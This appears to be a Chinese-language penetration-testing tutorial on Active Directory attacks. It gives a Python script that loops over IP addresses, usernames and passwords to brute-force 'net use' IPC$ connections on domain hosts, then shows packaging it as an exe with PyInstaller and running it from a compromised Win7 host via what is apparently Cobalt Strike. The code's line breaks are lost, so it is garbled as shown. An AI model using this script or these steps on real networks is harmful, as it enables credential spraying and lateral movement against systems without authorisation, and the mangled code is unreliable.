域渗透AD渗透攻击利用 python脚本攻击之IPC连接 以及 python生成exe可执行程序讲解方式方法

Python脚本批量检测ipc连接

import os, timeips = ['192.168.1.121','192.168.1.8'
]
users = {'administrator','hack','hack1','test',
}
passs = {'[e-mail]','[e-mail]','Admin12345'
}
for ip in ips:for user in users:for mima in passs:exec1 = "net use \\" + "\\" + ip + "\ipc$ " + mima + " /user:god\\" + userprint('>>>>>', exec1, '<<<<<')os.system(exec1)time.sleep(1)

• ips 我们需要连接的IP列表
• users 对应的用户列表
• pass 对应连接的用户密码
• for循环是批量对 对应的ip 用户 用户密码进行连接尝试

打包python脚本成可执行程序exe

• pip install pyinstaller 
  • 
• pyinstaller -F x.py   
  • 生成可执行程序
  • 
• 复制这个文件到 win7域主机上执行这个exe可执行文件
  • 
  • 
• 在到CS中执行 shell net use
  • 

批量连接IPC成功

• 以上就做到了明文连接IPC 且是批量的操作连接行为